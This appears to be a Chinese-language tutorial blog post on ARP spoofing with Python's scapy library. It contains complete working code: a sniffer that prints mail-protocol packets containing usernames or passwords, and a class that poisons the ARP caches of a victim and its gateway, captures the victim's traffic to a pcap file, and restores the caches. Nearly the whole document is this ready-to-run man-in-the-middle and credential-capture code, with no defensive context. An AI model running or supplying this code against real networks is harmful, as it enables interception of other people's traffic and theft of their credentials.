目的
- 用scapy进行二层发包,实现arp欺骗,并抓取本地网卡的数据报,来截获目标机器和网关之间的流量
scapy介绍
- scapy是python中一个可用于网络嗅探的非常强大的第三方库,可以用它来做packet的嗅探和packet的伪造发包
- scapy已经在内部实现了大量的网络协议。如DNS、ARP、IP、TCP、UDP等等,可以用它来编写非常灵活实用的工具
- 不建议在windows上使用scapy,装了npcap和winpcap,还是跑不起来,用kali原装的scapy就很方便
- scapy进行投毒:发送伪造的arp包,修改目标机器以及网卡的arp缓存,欺骗网卡,让它以为我们是它的目标机器,欺骗目标机器,让它以为我们是它的网关
例子:用scapy抓取邮箱密码
- 监听本地网卡,过滤常用邮箱端口的流量,通过回调函数将数据包的内容打印出来
from scapy.all import *
def packet_callback(packet):
if packet[TCP].payload:
mypacket = str(packet[TCP].payload)
if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
print(f"[*] Destination: {packet[IP].dst}")
print(f"[*] {str(packet[TCP].payload)}")
def main():
sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',
prn=packet_callback, store=0)
if __name__ == "__main__":
main()
- 效果
-
登录邮箱
-
抓取结果
-
arp投毒代码
- 通过发arp包并获取响应,根据ip地址获取mac地址
def get_mac(ip):
packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=ip)
resp, _ = srp(packet, timeout=2, retry=10, verbose=False)
for _, r in resp:
return r[Ether].src
return None
- 创建arper类,将目标机器ip和网卡ip参数传递给类属性,并启用poison和sniff线程
class Arper():
def __init__(self, victim, gateway, interface='en0'):
self.victim = victim
self.victim_mac = get_mac(victim)
self.gateway = gateway
self.gateway_mac = get_mac(gateway)
self.interface = interface
conf.iface = interface
conf.verb = 0
print(f"Initialized {interface}: ")
print(f"Gateway {gateway} is at {self.gateway_mac}")
print(f"Victim {victim} is at {self.victim_mac}")
print('-'*30)
def run(self):
self.poison_thread = Process(target=self.poison)
self.poison_thread.start()
self.sniff_thread = Process(target=self.sniff)
self.sniff_thread.start()
if __name__ == "__main__":
[victim, gateway, interface] = [sys.argv[1], sys.argv[2], sys.argv[3]]
myarp = Arper(victim, gateway, interface)
myarp.run()
- poison投毒函数:伪造arp包,不断将本地的mac地址发给目标机器以及网关,将自己伪造成对方的网关和目标机器,以此来截获网关和目标机器间的通信流量
def poison(self):
poison_victim = ARP()
poison_victim.op =2
poison_victim.psrc = self.gateway
poison_victim.pdst = self.victim
poison_victim.hwdst = self.victim_mac
print(f"ip src: {poison_victim.psrc}")
print(f"ip dst: {poison_victim.pdst}")
print(f"mac src: {poison_victim.hwsrc}")
print(f"mac dst: {poison_victim.hwdst}")
print(poison_victim.summary())
print("-"*30)
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = self.victim
poison_gateway.pdst = self.gateway
poison_gateway.hwdst = self.gateway_mac
print(f"ip src: {poison_gateway.psrc}")
print(f"ip dst: {poison_gateway.pdst}")
print(f"mac src: {poison_gateway.hwsrc}")
print(f"mac dst: {poison_gateway.hwdst}")
print(poison_gateway.summary())
print("-"*30)
print(f"Beginning the ARP poison. [CTRL-C to stop]")
while True:
sys.stdout.write('.')
sys.stdout.flush()
try:
send(poison_victim)
send(poison_gateway)
except KeyboardInterrupt:
self.restore()
sys.exit()
time.sleep(2)
- sniff嗅探函数,监听本地网卡,捕获网关和目标机器间的通信流量,保存到pcap文件中
def sniff(self, count=100):
time.sleep(5)
print(f"Sniffing {count} "
f"")
bpf_filter = "ip host %s " % self.victim
packets = sniff(count=count, filter=bpf_filter, iface=self.interface)
wrpcap("arper.pcap", packets)
print("Got the packets")
self.restore()
self.poison_thread.terminate()
print("Finished.")
- restore恢复函数,通过发送正确的arp包,恢复目标机器和网关的arp缓存,恢复正常通信
def restore(self):
print("Restoring ARP tables...")
send(ARP(op=2, psrc=self.gateway, hwsrc=self.gateway_mac, pdst=self.victim, hwdst="ff:ff:ff:ff:ff:ff"), count=5)
send(ARP(op=2, psrc=self.victim, hwsrc=self.victim_mac, pdst=self.gateway, hwdst="ff:ff:ff:ff:ff:ff"), count=5)
效果
- 程序运行日志
- 打开截获的通信流量